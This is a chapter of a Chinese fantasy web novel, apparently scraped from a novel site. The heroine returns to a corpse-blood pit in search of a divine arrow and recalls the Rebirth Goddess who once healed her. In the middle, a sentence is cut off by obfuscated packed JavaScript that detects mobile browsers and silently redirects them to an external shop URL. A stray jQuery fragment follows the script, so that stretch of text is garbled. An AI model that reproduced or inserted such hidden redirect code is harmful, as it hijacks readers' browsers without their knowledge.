文趣网 > 都市小说 > 满级小白花有点茶 > 69. 第69章:常州之行2,
    第69章:常州之行2,时空因果轮回的力量

    我们在一处水边荒地歇脚,月光从光秃秃的枝丫间漏下来,落在我面前的水面上,斑驳如碎银。

    忽然觉得后脑勺的木簪轻轻震了一下。

    “归神箭在复生神的陨落之境。”僵王的声音从灵联里传来,带着他惯常的优雅和从容,“那个地方,你应该很熟悉。”

    我的手指微微收紧。复生神……我的沧海神魂珠就是她给我的。

    “尸血坑?”我低声说。

    灵联那端安静了片刻,然后他的声音再次响起,比方才轻了几分:“复生神最后陨落的地方,归神箭应该在那里。要找到它,就得回去。”

    “应该?”

    “万事皆有可能,本王向来不喜欢把话说满。”他顿了顿又道,“花小白,命中注定的,你与本王结为灵联,也只有你能下尸血坑寻找归神箭。”

    我在尸血坑泡了上百年,被魔毒和尸血反复侵蚀,灵体溃烂又重新凝结,骨头断了又接上。我以为自己这辈子都不会再踏进那个地方了。

    “我能活着出来吗?”我问。

    “你现在似乎比以前更惜命了。”

    “我当然要比你死得晚。不然谁送你一程。”

    僵王笑了笑说:“期待你的成功。”

    我站起来拍了拍裙摆上的灰,对沈剑说:“走吧。”

    沈剑没有问去哪,只是点了点头,跟在我身后。月光把他的影子拉得很长,他走在前面半步,恰好挡住从庭院方向吹来的冷风。

    去尸血坑的路,我闭着眼睛都能走。

    穿过常州西边的荒原,绕过坤阴山废弃的古道,再往地底深处走三天。这条路在百年前被各大宗门联手封印过,但九星环月之后封印彻底失效,沿途散落着新生的怨灵和不知从哪冒出来的妖兽。

    好在有沈剑在,他从司律殿学来的本事够硬,一路上替我清了不少障碍,我省心很多。

    越靠近尸血坑,周围的瘴气越浓。灰绿色的雾从地缝里往外渗,带着一股腐烂的甜味。

    我把解毒丸含在舌下,给沈剑也递了一颗。他没有多问,接过去含了,只是握剑的手更紧了些,走在前面替我把瘴气最浓的地方劈开。

    终于站在尸血坑边缘,那股熟悉的、腐朽的、带着血腥味的寒气从地底深处翻涌上来。

    我深吸一口气,把木簪从发间取下来握在掌心。簪身上暗金色的纹路在瘴气中微微发亮。

    “老师,我在这里守着。”沈剑说。

    “好。”我握着木簪朝下走去,“如果天黑之前我没有出来,你就回寂南之域,不用等我。”

    “我会等到老师出来。”

    尸血坑里的怨灵比我预想的要多得多。

    它们从坑壁上无数的裂缝中钻出来,有的半透明,有的已经凝聚成人形,眼中闪烁着幽绿色的鬼火。

    我没有像百年前那样徒手去抓,而是攥紧木簪,将灵力灌入簪身。暗金色的光芒在瘴气中炸开,刺穿第一只扑上来的怨灵。一路杀到坑底,身上的劲装已经被怨灵抓破了好几道口子,左臂上有一道还在渗血的抓痕,头发也散了。

    坑底还是百年前的模样。满地碎骨和锈蚀的兵器残片,石壁上那些被尸血浸透的暗红色纹路还在,在幽暗的光线里泛着诡异的光泽。

    这片坑底有一个极隐蔽的角落,被几根巨大的兽骨挡住,只有躺在地上往那个方向看才能发现。我当年就是那样发现的。

    我走到那几根兽骨前蹲下来,拨开覆在上面的腐叶和尘土,露出底下那小块不算太粗糙的石板。

    石板上刻着一幅简单的画。一个女人弯着腰,把一颗珠子放进一个小女孩的手心里。

    女人的脸上没有五官,但她的姿态是温柔的,微微弯着腰,长发从肩头垂下来,像是在对小女孩说什么。

    我的手在发抖。我把石板轻轻推开,底下是一个很小的石龛。石龛里空空荡荡的。没有归神箭,只有一个很旧的箭囊,皮质已经干裂发脆,上面刻着一个“复”字。

    我拿起那个箭囊,指尖触到皮革上干涸的纹路时,脑子里嗡的一声炸开。

    那是很多很多年前了。

    我身负重伤逃跑路上被杨舜之一掌打下深渊,坠入这片尸血坑。

    那时候的尸血坑比现在更可怕,怨灵密密麻麻铺满了整个坑底,尸血从石缝里往外渗,黏稠腥臭,像大地被捅穿了一道永远愈合不了的伤口。

    我摔在坑底,杨舜之那一掌震碎了我大半灵脉,嘴里全是血,连动一根手指都费劲。

    杨舜之应该以为我已经死了。

    我趴在尸血坑的石壁下,看着怨灵群像潮水一样慢慢围拢过来,心里想:这次是真的要死了。

    尸血淹到我的胸口时,那些怨灵开始啃咬我的身体。疼,很疼。但我叫不出来,嗓子已经被血堵住了。

    意识模糊间,我听见一个声音。

    很轻很轻,像是从很远很远的地方飘过来的,又像是从我自己的脑子里长出来的。

    “不要怕。抱元守一,让灵台清明。”

    我跟着那个声音做。

    怨灵还在啃咬我的骨肉,但我的意识被那个声音一点一点从剧痛中抽离出来,像是有人轻轻牵着我的手,把我从一片血海里捞了起来。

    我睁开眼睛,看见一个女人蹲在我面前。

    看不清她的脸,只记得她周身有淡淡的光晕,那种光不是刺目的金色或银白色,而是一种温暖的月白色,像深夜里母亲点在床头的那盏小灯。

    她的长发垂下来,落在我脸上,触感很轻很轻。

    “你中了魔毒。”她的声音很好听,像是山涧里的溪流,“这种毒很难解,但也不是无解。我教你把毒排出体外,你要认真学。”

    她把一只手放在我的丹田上,另一只手按在我的天灵盖上。两股温热的灵力从她的掌心灌入我的体内,顺着经脉缓缓游走,将那些已经渗入骨髓的魔毒一点一点逼出来。

    “你的灵体被尸血侵蚀得太厉害了。”她收回手,声音里带着一丝淡淡的叹息,“以后每隔一段日子,我会来替你清理一次。但你也要自己努力,把毒排干净之前,不可以离开这里。”

    我张了张嘴,想问她是谁,为什么要救我。但嗓子还是发不出声音。她似乎看懂了我的疑问,极轻极轻地笑了一声。

    “我是谁不重要。重要的是,你想不想活下去。”

    我想。

    此后每隔一段日子,她就会出现在尸血坑里。有时候我能看清她的轮廓。一袭白衣,长发如瀑,有时候只是一个模糊的、泛着月白色光晕的影子。

    她从来不提自己的来历,也不问我为什么坠入尸血坑。她只是安安静静地来,替我用灵力清除体内的魔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692899|205246||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    毒,然后安安静静地走。

    有一次我实在忍不住,问她:“你为什么会在这里?”

    她只是沉默地笑着。

    那天她走之前,从袖中取出一颗珠子放在我手心里。珠子很小,泛着温润的月白色光芒,内里有无数细碎的星芒在缓缓流转。

    “沧海神魂珠。”她说,“它是哥哥再生神陨灭时,最后留下的眼泪。它能无穷尽地吸收、炼化任何灵体的修为。你的灵根毁了,靠你自己重修太慢。拿着它,以后能用上。”

    “你为什么把这个给我?”我问。

    她垂下眼睛,睫毛在月白色的光晕里投下两道淡淡的阴影。“我留着它很久了,久到已经忘了为什么要留。现在把它给你,也许你能替我用它做点什么。”她站起来,白衣在瘴气中微微飘动,然后她弯下腰,轻轻摸了摸我的头发,声音温柔得像一阵穿堂而过的风。

    “你会的。等你从这里出去,你会有新的路。”

    “我还能出去吗?”

    “能。只要你不放弃自己。”

    后来她来的次数越来越少,间隔越来越长。最后一次她来的时候,周身的光已经淡得几乎看不见了。她蹲在我面前,把最后一点灵力渡进我的丹田。

    “你到底是谁?”我问。

    她低下头,用拇指轻轻擦掉我眼角的泪,手指的触感轻得像一片落在脸上的花瓣。

    “复生。”她说,“他们都叫我复生神。”

    ……

    我后来才知道,复生神早就陨落了。在很久很久以前,她的魂魄就散在了尸血坑里,只有最后一点执念留在那个小小的石龛里。

    那点执念花了不知多少年,等到了一个和她一样走投无路的人。

    我从回忆中睁开眼睛,发现自己还跪在那个空了的石龛前,手指攥着那只干裂的箭囊,攥得指节发白。我把箭囊贴在胸口,对着石龛里那幅极简单的画轻声说了句“谢谢”。

    然后站起来,把箭囊收进乾坤袋里,转身朝尸血坑外走去。

    沈剑还守在坑口。他看见我从瘴气中走出来,一直绷紧的肩膀终于松了几分。

    “老师找到了吗?”

    “没有。”我把散乱的头发重新拢好,“归神箭不在这里。但我知道它去哪了。”我把木簪插回发间,深吸一口气,“走吧,我知道下一个地方在哪。”

    复生神最后待的地方是尸血坑,但她的陨落之境不在尸血坑。僵王说过,归神箭消失在复生神的陨落之境。而她最后消失的地方,是坤阴山。那个我百年前为了救宣曜独闯过、我被种下魔毒的地方。

    前往坤阴山的路上,脑海里又回忆起她说过的话——

    “复生。他们都叫我复生神。”

    “你是外三神之一的复生神?”

    “是。孟爱晨,你想不想回到过去?”

    九岁那年那个被海水淹没的哥哥,我想回到九岁那年,在哥哥下水之前拉住他。

    我想重来一次。

    “想!”

    “等你用沧海神魂珠收集七千七百七十七年的修为后回到这里,你会拥有一次清理时空的力量。”

    “清理时空的力量是什么?”我问。

    “你有机会回到任何节点,也可能改变当下时空的因果轮回。”她的声音越来越轻,身影也越来越淡,“等你攒够了,就回到这里,我的有缘人。”